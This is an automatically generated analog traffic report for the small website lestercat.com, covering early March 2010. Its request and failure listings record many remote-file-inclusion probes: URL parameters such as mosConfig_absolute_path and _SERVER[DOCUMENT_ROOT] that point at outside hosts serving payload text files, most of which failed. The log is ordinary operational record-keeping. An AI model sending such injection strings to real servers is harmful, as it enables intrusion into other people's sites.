Web Server Statistics for lestercat.com

Program started at Tue-09-Mar-2010 05:09.
Analysed requests from Mon-01-Mar-2010 04:46 to Tue-09-Mar-2010 05:08 (8.0 days).

General Summary

(Go To: Top: General Summary: Weekly Report: Daily Report: Daily Summary: Hourly Summary: Host Report: Directory Report: File Type Report: File Size Report: Status Code Report: Request Report: Redirection Report: Failure Report: Referrer Report: Referring Site Report)

Successful requests: 205
Average successful requests per day: 25
Successful requests for pages: 193
Average successful requests for pages per day: 23
Failed requests: 1999
Redirected requests: 2
Distinct files requested: 58
Distinct hosts served: 81
Unwanted logfile entries: 24
Data transferred: 814618 bytes
Average data transferred per day: 101633 bytes


Weekly Report

(Go To: Top: General Summary: Weekly Report: Daily Report: Daily Summary: Hourly Summary: Host Report: Directory Report: File Type Report: File Size Report: Status Code Report: Request Report: Redirection Report: Failure Report: Referrer Report: Referring Site Report)

Each unit (+) represents 15000 bytes, or part thereof.


week beg.: #reqs: pages: 
---------: -----: -----: 
28/Feb/10:   157:   157: ++++++++++++++++++++++++++++++++++++++++
 7/Mar/10:    48:    36: +++++++++++++++
Busiest week: week beginning 28/Feb/10 (597232 bytes).

Daily Report

(Go To: Top: General Summary: Weekly Report: Daily Report: Daily Summary: Hourly Summary: Host Report: Directory Report: File Type Report: File Size Report: Status Code Report: Request Report: Redirection Report: Failure Report: Referrer Report: Referring Site Report)

Each unit (+) represents 8000 bytes, or part thereof.


     date:  %reqs: #reqs: %bytes:  bytes: 
---------: ------: -----: ------: ------: 
 1/Mar/10: 15.61%:    32: 15.70%: 127916: ++++++++++++++++
 2/Mar/10: 21.95%:    45: 19.62%: 159861: ++++++++++++++++++++
 3/Mar/10: 14.63%:    30: 11.22%:  91410: ++++++++++++
 4/Mar/10:  9.76%:    20:  9.86%:  80342: +++++++++++
 5/Mar/10:  6.34%:    13:  7.81%:  63594: ++++++++
 6/Mar/10:  8.29%:    17:  9.10%:  74109: ++++++++++

 7/Mar/10:  7.80%:    16:  5.42%:  44145: ++++++
 8/Mar/10: 15.12%:    31: 20.88%: 170090: ++++++++++++++++++++++
 9/Mar/10:  0.49%:     1:  0.39%:   3151: +
Busiest day: 8/Mar/10 (170090 bytes).

Daily Summary

(Go To: Top: General Summary: Weekly Report: Daily Report: Daily Summary: Hourly Summary: Host Report: Directory Report: File Type Report: File Size Report: Status Code Report: Request Report: Redirection Report: Failure Report: Referrer Report: Referring Site Report)

Each unit (+) represents 15000 bytes, or part thereof.


day:  %reqs: #reqs: %bytes:  bytes: %pages: 
---: ------: -----: ------: ------: ------: 
Sun:  7.80%:    16:  5.42%:  44145:  8.29%: +++
Mon: 30.73%:    63: 36.58%: 298006: 26.42%: ++++++++++++++++++++
Tue: 22.44%:    46: 20.01%: 163012: 23.83%: +++++++++++
Wed: 14.63%:    30: 11.22%:  91410: 15.54%: +++++++
Thu:  9.76%:    20:  9.86%:  80342: 10.36%: ++++++
Fri:  6.34%:    13:  7.81%:  63594:  6.74%: +++++
Sat:  8.29%:    17:  9.10%:  74109:  8.81%: +++++

Hourly Summary

(Go To: Top: General Summary: Weekly Report: Daily Report: Daily Summary: Hourly Summary: Host Report: Directory Report: File Type Report: File Size Report: Status Code Report: Request Report: Redirection Report: Failure Report: Referrer Report: Referring Site Report)

Each unit (+) represents 5000 bytes, or part thereof.


hr:  %reqs: #reqs: %bytes:  bytes: 
--: ------: -----: ------: ------: 
 0:  3.41%:     7:  6.57%:  53503: +++++++++++
 1:  5.85%:    12:  5.75%:  46871: ++++++++++
 2:       :     0:       :      0: 
 3:  0.49%:     1:  0.39%:   3151: +
 4:  9.27%:    19:  7.35%:  59869: ++++++++++++
 5:  8.29%:    17:  9.35%:  76198: ++++++++++++++++
 6:  4.88%:    10:  5.78%:  47085: ++++++++++
 7:  6.34%:    13:  4.64%:  37812: ++++++++
 8: 10.24%:    21:  8.84%:  72048: +++++++++++++++
 9: 15.12%:    31: 15.01%: 122274: +++++++++++++++++++++++++
10:  1.46%:     3:  1.16%:   9453: ++
11:  4.39%:     9:  6.39%:  52042: +++++++++++
12:  1.46%:     3:  1.21%:   9827: ++
13:  3.90%:     8:  4.20%:  34246: +++++++
14:  3.41%:     7:  4.83%:  39379: ++++++++
15:  0.98%:     2:  0.77%:   6302: ++
16:  1.95%:     4:  1.55%:  12604: +++
17:  0.49%:     1:  0.39%:   3151: +
18:  2.93%:     6:  2.32%:  18906: ++++
19:  3.41%:     7:  1.93%:  15755: ++++
20:  2.93%:     6:  4.59%:  37424: ++++++++
21:  2.44%:     5:  1.93%:  15755: ++++
22:  1.95%:     4:  1.55%:  12604: +++
23:  4.39%:     9:  3.48%:  28359: ++++++

Host Report

(Go To: Top: General Summary: Weekly Report: Daily Report: Daily Summary: Hourly Summary: Host Report: Directory Report: File Type Report: File Size Report: Status Code Report: Request Report: Redirection Report: Failure Report: Referrer Report: Referring Site Report)

Listing hosts with at least 0.05% of the requests, sorted by the number of requests.


 %reqs: #reqs: %bytes: bytes: host
------: -----: ------: -----: ----
 6.34%:    13:  5.03%: 40963: 77.241.83.107
 4.88%:    10:  3.87%: 31510: 64.15.152.132
 3.90%:     8:  3.09%: 25208: 194.39.140.100
 3.41%:     7:  2.71%: 22057: 189.108.236.148
 2.93%:     6:  2.32%: 18906: 87.106.132.3
 2.93%:     6:  2.32%: 18906: 208.69.40.227
 2.93%:     6:  2.32%: 18906: 118.168.13.175
 2.93%:     6:  2.32%: 18906: 62.140.23.24
 2.93%:     6:  2.32%: 18906: 95.108.150.235
 2.93%:     6:  2.32%: 18906: 77.92.143.92
 2.44%:     5:  3.84%: 31320: 216.198.139.38
 2.44%:     5:  3.84%: 31320: 67.20.224.114
 2.44%:     5:  1.93%: 15755: 87.106.65.116
 1.95%:     4:  3.82%: 31122: 89.178.95.120
 1.95%:     4:  1.55%: 12604: 219.94.193.152
 1.95%:     4:  5.56%: 45315: 94.102.63.60
 1.95%:     4:  1.55%: 12604: 213.171.218.166
 1.46%:     3:  1.16%:  9453: 78.110.50.120
 1.46%:     3:  1.16%:  9453: 95.27.128.93
 1.46%:     3:  1.16%:  9453: 67.205.50.6
 1.46%:     3:  1.16%:  9453: 199.120.90.223
 1.46%:     3:  5.40%: 44019: 67.195.111.234
 1.46%:     3:  1.16%:  9453: 174.37.58.222
 0.98%:     2:  1.88%: 15330: 95.169.186.170
 0.98%:     2:  0.77%:  6302: 200.93.147.154
 0.98%:     2:  0.77%:  6302: 75.119.216.146
 0.98%:     2:  0.77%:  6302: 72.55.148.208
 0.98%:     2:  0.77%:  6302: 204.16.2.161
 0.98%:     2:  0.77%:  6302: 85.62.95.198
 0.98%:     2:  0.77%:  6302: 220.232.237.122
 0.98%:     2:  0.77%:  6302: 216.119.103.16
 0.98%:     2:  0.77%:  6302: 66.135.39.58
 0.98%:     2:  0.78%:  6322: 193.252.118.174
 0.98%:     2:  6.06%: 49406: 88.131.106.2
 0.98%:     2:  0.77%:  6302: 174.129.167.129
 0.98%:     2:  0.77%:  6302: 208.80.193.39
 0.98%:     2:  0.77%:  6302: 88.191.94.188
 0.98%:     2:  0.77%:  6302: 208.80.193.35
 0.98%:     2:  0.78%:  6364: 81.52.143.36
 0.98%:     2:  0.77%:  6302: 212.241.177.123
 0.98%:     2:       :     0: 66.249.71.215
 0.98%:     2:  0.77%:  6302: 81.93.240.199
 0.98%:     2:  0.77%:  6302: 174.142.61.173
 0.98%:     2:  0.77%:  6302: 121.119.192.41
 0.98%:     2:  0.77%:  6302: 85.233.162.101
 0.98%:     2:  0.82%:  6676: 38.105.83.12
 0.98%:     2:  0.77%:  6302: 83.103.72.130
 0.49%:     1:  0.39%:  3151: 89.145.92.17
 0.49%:     1:  0.39%:  3151: 67.202.8.74
 0.49%:     1:  0.39%:  3151: 213.122.174.227
 0.49%:     1:  0.39%:  3151: 87.239.23.19
 0.49%:     1:  0.39%:  3151: 213.251.189.201
 0.49%:     1:  0.39%:  3151: 217.73.168.38
 0.49%:     1:       :     0: 207.46.204.235
 0.49%:     1:  0.39%:  3151: 208.80.193.40
 0.49%:     1:       :     0: 193.55.112.70
 0.49%:     1:  0.39%:  3151: 208.80.193.38
 0.49%:     1:  0.39%:  3151: 208.80.193.33
 0.49%:     1:  0.39%:  3151: 208.80.193.30
 0.49%:     1:  0.39%:  3151: 208.80.193.29
 0.49%:     1:  0.39%:  3151: 208.80.193.27
 0.49%:     1:  0.39%:  3151: 69.163.150.203
 0.49%:     1:  0.39%:  3151: 71.202.41.254
 0.49%:     1:  0.39%:  3151: 69.162.116.235
 0.49%:     1:  0.39%:  3151: 174.133.203.90
 0.49%:     1:  0.39%:  3151: 67.227.136.138
 0.49%:     1:  0.39%:  3151: 95.143.243.66
 0.49%:     1:       :     0: 193.47.80.41
 0.49%:     1:  0.39%:  3151: 194.249.18.67
 0.49%:     1:  0.39%:  3151: 67.195.115.61
 0.49%:     1:  1.50%: 12179: 180.180.98.240
 0.49%:     1:  0.39%:  3151: 66.249.71.226
 0.49%:     1:  0.39%:  3151: 208.98.1.242
 0.49%:     1:  0.39%:  3151: 75.101.215.253
 0.49%:     1:       :     0: 194.72.238.61
 0.49%:     1:  0.39%:  3151: 72.44.54.185
 0.49%:     1:  1.50%: 12179: 93.174.93.80
 0.49%:     1:  0.39%:  3151: 62.67.235.148
 0.49%:     1:  0.39%:  3151: 190.152.217.250
 0.49%:     1:  0.39%:  3151: 80.245.60.130
 0.49%:     1:  0.39%:  3151: 195.190.166.35

Directory Report

(Go To: Top: General Summary: Weekly Report: Daily Report: Daily Summary: Hourly Summary: Host Report: Directory Report: File Type Report: File Size Report: Status Code Report: Request Report: Redirection Report: Failure Report: Referrer Report: Referring Site Report)

Listing directories, sorted by the amount of traffic.


 %reqs: #reqs: %bytes:  bytes: directory
------: -----: ------: ------: ---------
92.68%:   190: 87.32%: 711343: [root directory]
 4.88%:    10: 10.73%:  87438: /images/
 0.98%:     2:  0.78%:   6364: /kwikfinder/
 0.98%:     2:  0.78%:   6322: /demo/
 0.49%:     1:  0.39%:   3151: http://

File Type Report

(Go To: Top: General Summary: Weekly Report: Daily Report: Daily Summary: Hourly Summary: Host Report: Directory Report: File Type Report: File Size Report: Status Code Report: Request Report: Redirection Report: Failure Report: Referrer Report: Referring Site Report)

Listing extensions with at least 0.1% of the traffic, sorted by the amount of traffic.


 %reqs: #reqs: %bytes:  bytes: extension
------: -----: ------: ------: ---------
89.76%:   184: 68.86%: 560960: [directories]
 4.39%:     9: 20.36%: 165824: .html [Hypertext Markup Language]
 1.46%:     3:  7.76%:  63228: .gif  [GIF graphics]
 1.95%:     4:  1.73%:  14100: .css  [Cascading Style Sheets]
 1.46%:     3:  1.24%:  10110: .jpg  [JPEG graphics]
 0.98%:     2:  0.05%:    396: [not listed: 1 extension]

File Size Report

(Go To: Top: General Summary: Weekly Report: Daily Report: Daily Summary: Hourly Summary: Host Report: Directory Report: File Type Report: File Size Report: Status Code Report: Request Report: Redirection Report: Failure Report: Referrer Report: Referring Site Report)


       size:  %reqs: #reqs: %bytes:  bytes: 
-----------: ------: -----: ------: ------: 
          0:  2.93%:     6:       :      0: 
   1b-  10b:       :     0:       :      0: 
  11b- 100b:       :     0:       :      0: 
 101b-  1kb:  0.98%:     2:  0.05%:    396: 
  1kb- 10kb: 90.24%:   185: 71.83%: 585170: 
 10kb-100kb:  5.85%:    12: 28.12%: 229052: 

Status Code Report

(Go To: Top: General Summary: Weekly Report: Daily Report: Daily Summary: Hourly Summary: Host Report: Directory Report: File Type Report: File Size Report: Status Code Report: Request Report: Redirection Report: Failure Report: Referrer Report: Referring Site Report)

Listing status codes, sorted numerically.


#reqs: status code
-----: -----------
  201: 200 OK
    2: 302 Document found elsewhere
    4: 304 Not modified since last retrieval
    4: 400 Bad request
 1995: 404 Document not found

Request Report

(Go To: Top: General Summary: Weekly Report: Daily Report: Daily Summary: Hourly Summary: Host Report: Directory Report: File Type Report: File Size Report: Status Code Report: Request Report: Redirection Report: Failure Report: Referrer Report: Referring Site Report)

Listing files, sorted alphabetically.


 %reqs: #reqs: %bytes:  bytes: file
------: -----: ------: ------: ----
87.32%:   179: 66.92%: 545123: /
 1.95%:     4:  1.55%:  12604:   /?_PHPLIB[libdir]=http://8888bg.com/admin/editor/filemanager/browser/default/connectors/php/id.txt??
 0.49%:     1:  0.39%:   3151:   /?_PHPLIB[libdir]=http://www.emotions.com.mx/libreria/joomla??
 0.49%:     1:  0.39%:   3151:   /?_PHPLIB[libdir]=http://www.municipiodemejia.gov.ec//administrator/components/com_search/sken/id1(feelcomz).txt?
 0.49%:     1:  0.39%:   3151:   /?_PHPLIB[libdir]=http://www.radarexpress.eu/classes/id.txt??
 0.98%:     2:  0.77%:   6302:   /?_REQUEST=&_REQUEST[option]=com_content&_REQUEST[Itemid]=1&GLOBALS=&mosConfig_absolute_path=http://gastro-online.ru//components/com_remository/id1.txt?
 0.49%:     1:  0.39%:   3151:   /?_REQUEST=http://schoolwearzone.com/templates/beez/tmp/id1.txt??
 2.93%:     6:  2.32%:  18906:   /?_SERVER[DOCUMENT_ROOT]=http://210.205.6.168/~shop/zfxid1.txt?
 0.98%:     2:  0.77%:   6302:   /?_SERVER[DOCUMENT_ROOT]=http://8888bg.com/admin/editor/filemanager/browser/default/connectors/php/id.txt??
 1.46%:     3:  1.16%:   9453:   /?_SERVER[DOCUMENT_ROOT]=http://geo.metodist.ru/images/id?
 0.49%:     1:  0.39%:   3151:   /?_SERVER[DOCUMENT_ROOT]=http://gesprachen.wewillhostit.com/id.txt????
 1.46%:     3:  1.16%:   9453:   /?_SERVER[DOCUMENT_ROOT]=http://suzuki9.fileave.com/zfxid1.txt?
 0.49%:     1:  0.39%:   3151:   /?_SERVER[DOCUMENT_ROOT]=http://www.abcincome.com/cbb/ucer.txt???
 2.93%:     6:  2.32%:  18906:   /?_SERVER[DOCUMENT_ROOT]=http://www.cienciacompartida.org////id1.txt???
 0.49%:     1:  0.39%:   3151:   /?_SERVER[DOCUMENT_ROOT]=http://www.howtolisten.kr//bbs/icon/private_name/img00.txt????
 0.98%:     2:  0.77%:   6302:   /?_SERVER[DOCUMENT_ROOT]=http://www.hyonsvc.co.kr//bbs//icon/id1.txt?
 0.98%:     2:  0.77%:   6302:   /?_SERVER[DOCUMENT_ROOT]=http://www.miranda.gov.ve/modules/mod_sections/id1.txt???
 4.39%:     9:  3.48%:  28359:   /?_SERVER[DOCUMENT_ROOT]=http://www.respektlockswear.com/fx29id.txt????
 6.83%:    14:  5.42%:  44114:   /?_SERVER[DOCUMENT_ROOT]=http://www.samer1.net/space/ray/1.txt?
 4.88%:    10:  3.87%:  31510:   /?_SERVER[DOCUMENT_ROOT]=http://www.supravis.hu//components/com_explorer/id2.txt??
 1.46%:     3:  1.16%:   9453:   /?_SERVER_DOCUMENT_ROOT=http://www.miranda.gov.ve/modules/mod_sections/id1.txt???
 0.98%:     2:  0.77%:   6302:   /?_zb_path=http://203.157.114.10/homepage/hinso//mambots/editors/sc1??
 2.44%:     5:  1.93%:  15755:   /?_zb_path=http://canaldoserralheiro.com.br/laknat/cc1.txt??
 1.46%:     3:  1.16%:   9453:   /?_zb_path=http://suzuki9.fileave.com/zfxid1.txt?
 0.98%:     2:  0.77%:   6302:   /?_zb_path=http://www.dk-shop.com.ua///administrator/components/com_virtuemart/id1.txt???
 0.49%:     1:  0.39%:   3151:   /?_zb_path=http://www.patricioeventos.com.br/inscricao2009/id1.txt??
 2.93%:     6:  2.32%:  18906:   /?_zb_path=http://zerozon.co.kr/data/eeng/heheh.txt?
 0.98%:     2:  0.77%:   6302:   /?board_skin_path=http://www.buddwriter.org/board/sc1?
 0.49%:     1:  0.39%:   3151:   /?board_skin_path=http://www.karavi.net/components/com_banners/banner.txt??
 1.46%:     3:  1.16%:   9453:   /?board_skin_path=http://www.rockmanpm.com/i/x/zzz/id1??
 0.49%:     1:  0.39%:   3151:   /?mosConfig_absolute_path=http://antigua.granada.notariado.org//includes/id1.txt?
 0.98%:     2:  0.77%:   6302:   /?mosConfig_absolute_path=http://mytwitterblog.info/robot.txt????
 0.49%:     1:  0.39%:   3151:   /?mosConfig_absolute_path=http://snia2009.com/components/com_jce/zfxid1.txt?
 0.49%:     1:  0.39%:   3151:   /?mosConfig_absolute_path=http://www.miranda.gov.ve/modules/mod_sections/id1.txt???
 1.95%:     4:  1.55%:  12604:   /?mosConfig_absolute_path=http://www.respektlockswear.com/fx29id.txt????
 0.98%:     2:  0.77%:   6302:   /?mosConfig_absolute_path=http://www.samer1.net/space/ray/1.txt?
 1.95%:     4:  1.55%:  12604:   /?mosConfig_absolute_path=http://zerozon.co.kr/data/eeng/id1.txt??
 0.49%:     1:  0.39%:   3151:   /?page=http://nic.bupt.edu.cn/media/ahhe.txt???
 0.49%:     1:  0.39%:   3151:   /?sourcedir=http://aiutoz.interfree.it/id1.txt?
 0.98%:     2:  0.77%:   6302:   /?sourcedir=http://english.autoxjapan.com/modules/Forums/gf_funcs/id1auto.txt??
 1.46%:     3:  1.16%:   9453:   /?sourcedir=http://fluffylabs.com/i1.txt??
 0.49%:     1:  0.39%:   3151:   /?sourcedir=http://thegodlike.com/modules/COPYME.TXT??
 0.98%:     2:  0.77%:   6302:   /?sourcedir=http://www.bellangora.fr/language/x1.txt??
 0.98%:     2:  0.77%:   6302:   /?sourcedir=http://www.boothbayoperahouse.com/mambots/idxx.pdf???
 0.49%:     1:  0.39%:   3151:   /?sourcedir=http://www.kecschool.co.kr/upfiles/s041/.../id1.txt??
 0.49%:     1:  0.39%:   3151:   /?sourcedir=http://www.lpm.mgroup.pl/modules/xoopsgallery/idv6-news.txt?????
 0.98%:     2:  0.77%:   6302:   /?sourcedir=http://www.lumixclub.com/bbs/columbus/eeng/id1.txt?
 0.98%:     2:  0.77%:   6302:   /?sourcedir=http://www.samer1.net/space/ray/1.txt?
 0.49%:     1:  0.39%:   3151:   /?sourcedir=http://www.sitealacarte.be/cache/errors.txt???
 0.98%:     2:  0.77%:   6302:   /?spaw_root=http://www.cepp56.com//editor/id.txt??
 0.98%:     2:  0.78%:   6322: /demo/
 0.98%:     2:  0.05%:    396: /favicon.ico
 1.95%:     4:  1.73%:  14100: /images/lester.css
 1.46%:     3:  1.24%:  10110: /images/lesterlogo2.jpg
 1.46%:     3:  7.76%:  63228: /images/stucco.gif
 0.98%:     2:  0.78%:   6364: /kwikfinder/
 4.39%:     9: 20.36%: 165824: /wwwstat.html
 0.49%:     1:  0.39%:   3151: http://www.yahoo.com/

Redirection Report

(Go To: Top: General Summary: Weekly Report: Daily Report: Daily Summary: Hourly Summary: Host Report: Directory Report: File Type Report: File Size Report: Status Code Report: Request Report: Redirection Report: Failure Report: Referrer Report: Referring Site Report)

Listing files, sorted by the number of redirected requests.


#reqs: file
-----: ----
    2: /mail/config.inc.php

Failure Report

(Go To: Top: General Summary: Weekly Report: Daily Report: Daily Summary: Hourly Summary: Host Report: Directory Report: File Type Report: File Size Report: Status Code Report: Request Report: Redirection Report: Failure Report: Referrer Report: Referring Site Report)

Listing the first 30 files by the number of failed requests, sorted by the number of failed requests.


#reqs: file
-----: ----
  203: /index.php
   18:   /index.php?option=com_frontpage&Itemid=&mosConfig.absolute.path=http://www.buddwriter.org/board/sc1?
   16:   /index.php?option=com_sef&Itemid=&mosConfig.absolute.path=http://woojinmc.com/board/data/ts?????
   10:   /index.php?option=com_lurm_constructor&Itemid=&mosConfig_absolute_path=http://www.samer1.net/space/ray/id1.txt?
  137: /administrator/components/com_virtuemart/export.php
   30:   /administrator/components/com_virtuemart/export.php?mosConfig.absolute.path=http://201.199.194.8/conta/auto1.txt??
   16:   /administrator/components/com_virtuemart/export.php?mosConfig.absolute.path=http://www.hyonsvc.co.kr//bbs//icon/id1.txt?
   12:   /administrator/components/com_virtuemart/export.php?mosConfig.absolute.path=http://www.bedste-alice.dk/cache/tpl_fisubsilversh.posting_body???
   10:   /administrator/components/com_virtuemart/export.php?mosConfig.absolute.path=http://gbrzone.co.cc/wp-cache/id1.txt??
  117: /wwwstat.html/index.php
   18:   /wwwstat.html/index.php?option=com_frontpage&Itemid=&mosConfig.absolute.path=http://www.buddwriter.org/board/sc1?
   71: /wwwstat.html  /
   10:   /wwwstat.html  /?_SERVER[DOCUMENT_ROOT]=http://www.samer1.net/space/ray/1.txt?
   71: /wwwstat.html/administrator/components/com_virtuemart/export.php
   16:   /wwwstat.html/administrator/components/com_virtuemart/export.php?mosConfig.absolute.path=http://201.199.194.8/conta/auto1.txt??
   70: /wwwstat.html  /index.php
   68: /wwwstat.html/
   10:   /wwwstat.html/?_SERVER[DOCUMENT_ROOT]=http://www.supravis.hu//components/com_explorer/id2.txt??
   64: /wwwstat.html  /administrator/components/com_virtuemart/export.php
   16:   /wwwstat.html  /administrator/components/com_virtuemart/export.php?mosConfig.absolute.path=http://www.hyonsvc.co.kr//bbs//icon/id1.txt?
   14:   /wwwstat.html  /administrator/components/com_virtuemart/export.php?mosConfig.absolute.path=http://201.199.194.8/conta/auto1.txt??
   57: /components/com_virtuemart/show_image_in_imgtag.php
   42: /admin/spaw/spaw_control.class.php
   42: /robots.txt
   41: /wwwstat.html  /components/com_virtuemart/show_image_in_imgtag.php
   33: /appserv/main.php
   32: /delete_all.php
   30: /wwwstat.html/admin/spaw/spaw_control.class.php
   27: /wwwstat.html/components/com_virtuemart/show_image_in_imgtag.php
   27: /skin/ggambo7002_board/comment_modify.php
   27: /wwwstat.html  /admin/spaw/spaw_control.class.php
   24: /wwwstat.html/appserv/main.php
   23: /wwwstat.html  /skin/ggambo7002_board/comment_modify.php
   23: /bbs/skin/melygallery/error.php
   20: /errors.php
   18: /wwwstat.html/delete_all.php
   18: /wwwstat.html  /delete_all.php
   15: /administrator/components/com_dbquery/classes/DBQ/admin/common.class.php
   14: /wwwstat.html/bbs/skin/melygallery/error.php
   12: /write_update.php
   11: /skin/zero_vote/error.php
   11: /wwwstat.html/errors.php
   11: /bbs/delete_all.php
  640: [not listed: 255 files]

Referrer Report

(Go To: Top: General Summary: Weekly Report: Daily Report: Daily Summary: Hourly Summary: Host Report: Directory Report: File Type Report: File Size Report: Status Code Report: Request Report: Redirection Report: Failure Report: Referrer Report: Referring Site Report)

Listing referring URLs with at least 20 requests, sorted by the number of requests.


#reqs: URL
-----: ---
   19: [not listed: 7 URLs]

Referring Site Report

(Go To: Top: General Summary: Weekly Report: Daily Report: Daily Summary: Hourly Summary: Host Report: Directory Report: File Type Report: File Size Report: Status Code Report: Request Report: Redirection Report: Failure Report: Referrer Report: Referring Site Report)

Listing referring sites, sorted by the number of requests.


#reqs: site
-----: ----
    7: http://www.lestercat.com/
    5: http://lestercat.com/
    4: http://aimtrust.com/
    1: http://theinvestblog.com/
    1: http://www.netcraft.com/
    1: http://www.yandex.ru/

This analysis was produced by analog3.11/Unix.
Running time: 1 second.

(Go To: Top: General Summary: Weekly Report: Daily Report: Daily Summary: Hourly Summary: Host Report: Directory Report: File Type Report: File Size Report: Status Code Report: Request Report: Redirection Report: Failure Report: Referrer Report: Referring Site Report)